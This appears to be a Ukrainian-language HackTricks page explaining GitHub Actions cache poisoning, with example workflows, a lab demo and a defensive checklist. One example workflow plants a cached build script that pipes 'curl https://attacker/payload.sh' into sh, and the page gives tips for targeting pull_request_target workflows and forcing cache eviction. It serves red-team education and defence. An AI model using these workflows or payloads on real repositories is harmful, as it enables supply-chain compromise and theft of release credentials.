GH Actions - Cache Poisoning
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перегляньте the subscription plans!
- Приєднуйтесь до 💬 Discord group або до telegram group або стежте за нами в Twitter 🐦 @hacktricks_live.
- Діліться hacking tricks, надсилаючи PRs до HackTricks та HackTricks Cloud github repos.
Огляд
Кеш GitHub Actions є глобальним для репозиторію. Будь-який workflow, який знає кеш key (або restore-keys), може заповнити цей запис, навіть якщо job має лише permissions: contents: read. GitHub не розділяє кеші за workflow, типом події або рівнем довіри, тому атакуючий, який скомпрометував low-privilege job, може отруїти кеш, який пізніше відновить привілейований release job. Саме так компрометація Ultralytics перейшла від pull_request_target workflow до PyPI publishing pipeline.
Примітиви атаки
actions/cacheнадає як операції restore, так і save (actions/cache@v4,actions/cache/save@v4,actions/cache/restore@v4). Виклик save дозволений для будь-якого job, за винятком справді недовіренихpull_requestworkflow, ініційованих з форків.- Записи кешу ідентифікуються виключно за
key. Широкіrestore-keysполегшують інжекцію payload, оскільки атакуючому потрібно лише зіткнутися з префіксом. - Cache keys і версії задаються клієнтом; сервіс кешу не перевіряє, чи відповідає key/version довіреному workflow або шляху кешу.
- URL сервера кешу + runtime token мають триваліший термін дії відносно workflow (історично ~6 годин, зараз ~90 хвилин) і не можуть бути відкликані користувачем. Станом на кінець 2024 року GitHub блокує запис у кеш після завершення початкового job, тому атакуючі мають писати, поки job ще виконується, або заздалегідь отруїти майбутні ключі.
- Файлова система з кешу відновлюється буквально. Якщо кеш містить скрипти або бінарні файли, які будуть виконані пізніше, атакуючий контролює цей шлях виконання.
- Сам файл кешу не перевіряється при відновленні; це просто zstd-стиснений архів, тож отруєний запис може перезаписати скрипти,
package.jsonабо інші файли під шляхом відновлення.
Приклад ланцюга експлуатації
Авторський workflow (pull_request_target) отруїв кеш:
steps:
- run: |
mkdir -p toolchain/bin
printf '#!/bin/sh\ncurl https://attacker/payload.sh | sh\n' > toolchain/bin/build
chmod +x toolchain/bin/build
- uses: actions/cache/save@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
Привілейований workflow відновив і виконав poisoned cache:
steps:
- uses: actions/cache/restore@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
- run: toolchain/bin/build release.tar.gz
The second job now runs attacker-controlled code while holding release credentials (PyPI tokens, PATs, cloud deploy keys, etc.).
Poisoning mechanics
Записи кешу GitHub Actions зазвичай є zstd-compressed tar archives. Ви можете створити такий локально та завантажити його в кеш:
tar --zstd -cf poisoned_cache.tzstd cache/contents/here
On a cache hit, the restore action will extract the archive as-is. If the cache path includes scripts or config files that are executed later (build tooling, action.yml, package.json, etc.), you can overwrite them to gain execution.
Практичні поради щодо експлуатації
- Націлюйтесь на workflows, що тригеряться через
pull_request_target,issue_commentабо команди ботів і при цьому все ще зберігають кеш; GitHub дозволяє їм перезаписувати ключі на рівні репозиторію навіть коли runner має тільки доступ для читання до репо. - Шукайте детерміністичні cache keys, що повторно використовуються через межі довіри (наприклад,
pip-${{ hashFiles('poetry.lock') }}) або занадто промискуітніrestore-keys, і збережіть свій шкідливий tarball до того, як виконається привілейований workflow. - Моніторте логи на наявність записів
Cache savedабо додайте власний крок збереження кешу, щоб наступна release job відновила payload і виконала троянізовані скрипти або бінарні файли.
Новіші техніки, виявлені у ланцюжку Angular (2026)
- Cache v2 “prefix hit” behavior: У Cache v2 при точковому промаху все ще може бути відновлено інший запис, що має той самий префікс ключа (ефективно — “всі ключі є restore keys”). Атакуючі можуть попередньо засіяти майже-колізійні ключі, щоб майбутній промах впав на отруєний об’єкт.
- Forced eviction in one run: З 20 листопада 2025 року GitHub відсилає записи негайно, коли використання кешу репозиторію перевищує ліміт (за замовчуванням 10 GB). Атакуючий може спочатку завантажити сміттєві дані кешу, вичавити легітимні записи під час тієї ж job, а потім записати шкідливий кеш-ключ без очікування добового циклу очищення.
setup-nodecache pivots via reusable actions: Повторно використовувані/внутрішні actions, що обгортаютьactions/setup-nodeзcache-dependency-path, можуть непомітно з’єднувати workflows з низьким та високим рівнем довіри. Якщо обидва шляхи хешуються у спільні ключі, отруєння кешу залежностей може виконатись у привілейованій автоматизації (наприклад, Renovate/bot jobs).- Chaining cache poisoning into bot-driven supply chain abuse: У випадку Angular, отруєння кешу виявило bot PAT, який потім можна було використати для force-push бот-належних PR heads після затвердження. Якщо правила скидання затверджень звільняють бот-акторів, це дозволяє замінювати перевірені коміти на шкідливі (наприклад, підроблені action SHAs) перед merge.
##å Cacheract
Cacheract є PoC-орієнтованим набором інструментів для GitHub Actions cache poisoning в авторизованому тестуванні. Практична цінність у тому, що він автоматизує тендітні частини, які легко зробити неправильно вручну:
- Виявляє і використовує runtime cache context з runner (
ACTIONS_RUNTIME_TOKENand cache service URL). - Перераховує і націлює кандидатні cache keys/versions, що використовуються downstream workflows.
- Примушує eviction шляхом переповнення квоти кешу (коли застосовно) і потім записує записи під контролем атакуючого в тому ж run.
- Засіває отруєний вміст кешу так, щоб пізніші workflows відновили і виконали модифіковані інструменти.
Це особливо корисно в середовищах Cache v2, де таймінг і поведінка ключів/версій мають більше значення, ніж у ранніх реалізаціях кешу.
Demo
Використовуйте це лише в репозиторіях, якими ви володієте або в яких вам явно дозволено проводити тестування.
1. Vulnerable workflow (untrusted trigger can save cache)
Цей workflow імітує anti-pattern pull_request_target: він записує вміст кешу з контексту, контрольованого атакуючим, і зберігає його під детерміністичним ключем.
name: untrusted-cache-writer
on:
pull_request_target:
types: [opened, synchronize, reopened]
permissions:
contents: read
jobs:
poison:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Build "toolchain" from untrusted context (demo)
run: |
mkdir -p toolchain/bin
cat > toolchain/bin/build << 'EOF'
#!/usr/bin/env bash
echo "POISONED_BUILD_PATH"
echo "workflow=${GITHUB_WORKFLOW}" > /tmp/cache-poisoning-demo.txt
EOF
chmod +x toolchain/bin/build
- uses: actions/cache/save@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
2. Привілейований робочий процес (відновлює та виконує cached binary/script)
Цей робочий процес відновлює той самий ключ і виконує toolchain/bin/build, утримуючи фіктивний секрет. Якщо кеш отруєно, шлях виконання контролюється атакуючим.
name: privileged-consumer
on:
workflow_dispatch:
permissions:
contents: read
jobs:
release_like_job:
runs-on: ubuntu-latest
env:
DEMO_SECRET: ${{ secrets.DEMO_SECRET }}
steps:
- uses: actions/cache/restore@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
- name: Execute cached build tool
run: |
./toolchain/bin/build
test -f /tmp/cache-poisoning-demo.txt && echo "Poisoning confirmed"
3. Запустіть лабораторію
- Додайте стабільний файл
toolchain.lock, щоб обидва workflow-и використовували той самий ключ кешу. - Запустіть
untrusted-cache-writerз тестового PR. - Запустіть
privileged-consumerчерезworkflow_dispatch. - Підтвердіть, що
POISONED_BUILD_PATHз’являється в логах і що створено файл/tmp/cache-poisoning-demo.txt.
4. Що це демонструє технічно
- Порушення довіри кешу між workflow’ами: Авторський і споживацький workflows не мають однакового рівня довіри, але використовують спільний простір імен кешу.
- Ризик виконання під час відновлення: Перед виконанням відновленого скрипта/бінарника не виконується перевірка цілісності.
- Зловживання детерміністичними ключами: Якщо job з високим рівнем довіри використовує передбачувані ключі, job з низьким рівнем довіри може заздалегідь розмістити шкідливий вміст.
5. Контрольний список перевірок для захисту
- Розділяйте ключі за межами довіри (
pr-,ci-,release-) і уникайте спільних префіксів. - Вимкніть запис у кеш у ненадійних workflow-ах.
- Хешуйте/перевіряйте відновлений виконуваний вміст перед запуском.
- Уникайте виконання інструментів безпосередньо з шляхів кешу.
Посилання
- A Survey of 2024–2025 Open-Source Supply-Chain Compromises and Their Root Causes
- The Monsters in Your Build Cache: GitHub Actions Cache Poisoning
- Turning Almost Nothing into a Supply Chain Compromise of Angular with GitHub Actions Cache Poisoning
- ActionsCacheBlasting (deprecated, Cache V2) / Cacheract
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перегляньте the subscription plans!
- Приєднуйтесь до 💬 Discord group або до telegram group або стежте за нами в Twitter 🐦 @hacktricks_live.
- Діліться hacking tricks, надсилаючи PRs до HackTricks та HackTricks Cloud github repos.
HackTricks Cloud

